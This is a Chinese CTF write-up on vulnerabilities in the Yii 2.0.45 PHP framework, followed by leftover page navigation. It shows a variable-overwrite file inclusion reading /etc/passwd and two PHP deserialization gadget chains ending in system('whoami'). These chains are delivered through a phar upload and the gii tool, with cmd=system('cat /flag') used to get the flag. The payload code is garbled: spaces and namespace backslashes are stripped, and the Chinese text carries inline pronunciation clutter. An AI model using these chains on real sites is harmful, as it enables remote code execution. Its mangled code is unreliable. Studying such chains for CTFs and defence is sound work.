概述
簡(jiǎn)單說(shuō)下Yii 是一個(gè)高性能PHP的web 應(yīng)用程序開(kāi)發(fā)框架。通過(guò)一個(gè)簡(jiǎn)單的命令行工具 yiic 可以快速創(chuàng)建一個(gè) web 應(yīng)用程序的代碼框架,開(kāi)發(fā)者可以在生成的代碼框架基礎(chǔ)上添加業(yè)務(wù)邏輯,以快速完成應(yīng)用程序的開(kāi)發(fā)。
小伙伴ctf比賽時(shí),遇見(jiàn)了這個(gè)框架,把題型發(fā)來(lái),既然是代碼審計(jì),這個(gè)附件應(yīng)該就是源碼,把這個(gè)下載下來(lái),看看里面有啥吧。
下面附兩張圖:
接下來(lái)就聊聊這個(gè)框架存在的漏洞有哪些,稍稍做個(gè)總結(jié)。
文件包含
當(dāng)小白看到文件上傳的功能時(shí),而且沒(méi)有限制文件類型的邏輯,便想到了這個(gè)框架可能存在文件包含的漏洞,因?yàn)樯蟼鞯穆窂绞?tmp的路徑,不在web目錄下。
如果想利用必須要通過(guò)文件包含、或者目錄穿越的漏洞。
從過(guò)源代碼的分析,文件目錄是這么定義的。
if(Yii::$app->request->isPost){ $model->file=UploadedFile::getInstance($model,'file'); if($model->file&&$model->validate()){ $path='/tmp/'.$model->file->baseName.'.'.$model->file->extension; $model->file->saveAs($path); return$path; }else{ returnjson_encode($model->errors); } }
當(dāng)baseName和extension不能通過(guò)改變請(qǐng)求包控制時(shí),所以文件穿越不存在,只能文件包含了,隨百度之。在源代碼里有這么一段代碼:
publicfunctionrenderPhpFile($_file_,$_params_=[]) { $_obInitialLevel_=ob_get_level(); ob_start(); ob_implicit_flush(false); extract($_params_,EXTR_OVERWRITE); try{ require$_file_;
extract是將數(shù)組解析成變量的一個(gè)函數(shù),通過(guò)構(gòu)建_file_的變量值,來(lái)包含tmp下的文件,這是小白當(dāng)時(shí)做題時(shí)的思路。
構(gòu)建方式是在控制器里有一個(gè)接受外界參數(shù)的變量,如下所示data
publicfunctionactionIndex() { $data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3']; return$this->render('index',$data); }
訪問(wèn)后的結(jié)果如下:
證明確實(shí)存在,小白按照代碼的規(guī)則進(jìn)行項(xiàng)目的整體查閱,只找到類似這種結(jié)構(gòu)的代碼段
$model->password=''; return$this->render('login',[ 'model'=>$model, ]);
這種model的參數(shù),構(gòu)建不出來(lái)file變量名,而且這是一個(gè)對(duì)象的形式。
后來(lái)想破壞對(duì)象的結(jié)構(gòu),構(gòu)建數(shù)組,花費(fèi)一個(gè)多小時(shí)無(wú)果,尋找另外個(gè)入口。至此證明yii存在變量覆蓋,文件包含的漏洞。
gii 出場(chǎng)【phar反序列化】
當(dāng)所有代碼段都不滿足構(gòu)建條件的時(shí)候,便有了這個(gè)gii哥們的想法,它是一個(gè)自動(dòng)給開(kāi)發(fā)者構(gòu)建模塊、數(shù)據(jù)、控制器簡(jiǎn)單邏輯的工具,或者說(shuō)腳手架,驗(yàn)證開(kāi)啟方式:全局搜索gii.
訪問(wèn)方式:r=gii,如下圖所示:
然后構(gòu)建我們自己的控制器,點(diǎn)擊控制器生成下的start。在表單里隨便填下控制器名稱,點(diǎn)擊預(yù)覽,
生的的代碼如下:
看到并沒(méi)有把render的第二個(gè)參數(shù)給傳遞過(guò)去,至此文件包含的思路徹底放棄。既然都聊到這了,那就索性看這個(gè)gii有什么漏洞,谷歌百度一下,
yii反序列化【payload是自己構(gòu)建、不同于找已存在漏洞】
查一下現(xiàn)在系統(tǒng)的版本號(hào):2.0.45 This is Yii version 2.0.45.
鏈一
vendor/yiisoft/yii2/db/BatchQueryResult.php php publicfunction__destruct() { //makesurecursorisclosed $this->reset(); } publicfunctionreset() { if($this->_dataReader!==null){ $this->_dataReader->close(); } $this->_dataReader=null; $this->_batch=null; $this->_value=null; $this->_key=null; $this->trigger(self::EVENT_RESET); }
所以這個(gè)$this->_dataReader是可控的,那么close方法,這里就有兩個(gè)思路,第一個(gè)是存在close方法,尋找利用點(diǎn),第二個(gè)不存在,調(diào)用call方法的利用點(diǎn),先看第二個(gè)的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。
publicfunction__call($method,$attributes) { return$this->format($method,$attributes); } publicfunctionformat($format,$arguments=[]) { returncall_user_func_array($this->getFormatter($format),$arguments); } publicfunctiongetFormatter($format) { if(isset($this->formatters[$format])){ return$this->formatters[$format]; }
這個(gè)類的$this->formatters也是可控的。當(dāng)調(diào)用close的方法,便調(diào)用了call方法,此時(shí)close的方法名,便作為call的第一個(gè)參數(shù)被傳遞進(jìn)來(lái),也就是method是close。
此時(shí)構(gòu)建payload【payload輸出有特殊字符,需要在console的控制臺(tái)復(fù)制】
namespaceyiidb{ classBatchQueryResult{ private$_dataReader; publicfunction__construct($_dataReader){ $this->_dataReader=$_dataReader; } } } namespaceFaker{ classGenerator{ protected$formatters=[]; publicfunction__construct($formatters){ $this->formatters=$formatters; } } } namespace{ $a=newFakerGenerator(array('close'=>'phpinfo')); $b=newyiidbBatchQueryResult($a); print(serialize($b)); }
此時(shí)的payload在這個(gè)ctf給定的壓縮代碼里是不能執(zhí)行的。因?yàn)檫@個(gè)版本大于2.0.37。到這里找一下為什么不能執(zhí)行,查閱文檔得知。這兩個(gè)類都實(shí)現(xiàn)了wakeup的方法,
//BatchQueryResult.php【只要序列化這個(gè)類,就報(bào)錯(cuò)】 publicfunction__wakeup() { thrownewBadMethodCallException('Cannotunserialize'.__CLASS__); } //Generator.php【只要序列化這個(gè)類,formatters的內(nèi)容就置空】 publicfunction__wakeup() { $this->formatters=[]; }
當(dāng)注釋掉這兩個(gè)方法的時(shí)候,就可以實(shí)現(xiàn)返回值了。注意目前調(diào)用的函數(shù)沒(méi)有傳遞參數(shù),只能掉phpinfo這類的函數(shù),輸出是字符串類型的。結(jié)果如下:
補(bǔ)充:正則匹配call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)。
鏈二
研究完了call的方法,現(xiàn)在看看close的方法。當(dāng)全局搜索close方法的時(shí)候,找到vendoryiisoftyii2webDbSession.php。
publicfunctionclose() { if($this->getIsActive()){ //preparewriteCallbackfieldsbeforesessioncloses $this->fields=$this->composeFields(); YII_DEBUG?session_write_close():@session_write_close(); } } /** *@returnboolwhetherthesessionhasstarted *開(kāi)啟dug,在這個(gè)版本下,此函數(shù)驗(yàn)證為true,小于2.0.38不需要開(kāi)啟debug */ publicfunctiongetIsActive() { returnsession_status()===PHP_SESSION_ACTIVE; } protectedfunctioncomposeFields($id=null,$data=null) { $fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[]; if($id!==null){ $fields['id']=$id; } if($data!==null){ $fields['data']=$data; } return$fields; }
call_user_func方法如果$this->writeCallback為字符串,就是方法名,如果是數(shù)組,就是類名和方法。
所以為了解決給方法傳遞參數(shù)的缺陷,這里再去調(diào)用另一個(gè)類的方法,這個(gè)方法可以是可以傳遞參數(shù)進(jìn)去的。使用鏈一的方法備注正則搜索。調(diào)用的文件代碼如下:
//vendor/yiisoft/yii2/rest/CreateAction.php publicfunctionrun() { if($this->checkAccess){ call_user_func($this->checkAccess,$this->id); } //$this->checkAccess和$this->id都是我們可控的
構(gòu)建payload
namespaceyiidb{ classBatchQueryResult{ private$_dataReader; publicfunction__construct($_dataReader){ $this->_dataReader=$_dataReader; } } } namespaceFaker{ classGenerator{ protected$formatters=[]; publicfunction__construct($formatters){ $this->formatters=$formatters; } } } namespaceyiirest{ classCreateAction{ public$checkAccess; public$id; publicfunction__construct($checkAccess,$id){ $this->checkAccess=$checkAccess; $this->id=$id; } } } namespaceyiiweb{ classDbSession{ public$writeCallback; publicfunction__construct($writeCallback){ $this->writeCallback=$writeCallback; } } } namespace{ //$a=newFakerGenerator(array('close'=>'phpinfo')); //$b=newyiidbBatchQueryResult($a); //print(serialize($b)); $c=newyii estCreateAction('system','whoami'); $b=newyiiwebDbSession(array($c,'run')); $a=newyiidbBatchQueryResult($b); print(serialize($a)); }
跳轉(zhuǎn)gii
通過(guò)前臺(tái)上傳功能,上傳
這個(gè)文件,然后返回上傳路徑:
gii控制器生成頁(yè)抓取數(shù)據(jù)包
在后面增加cmd=system('cat /flag'),因?yàn)樵趐har.jpg中有這個(gè)一個(gè)執(zhí)行代碼
即可拿到flag。
審核編輯:劉清
-
控制器
+關(guān)注
關(guān)注
112文章
16361瀏覽量
178023 -
PHP
+關(guān)注
關(guān)注
0文章
452瀏覽量
26687
原文標(biāo)題:yii && gii ctf篇
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論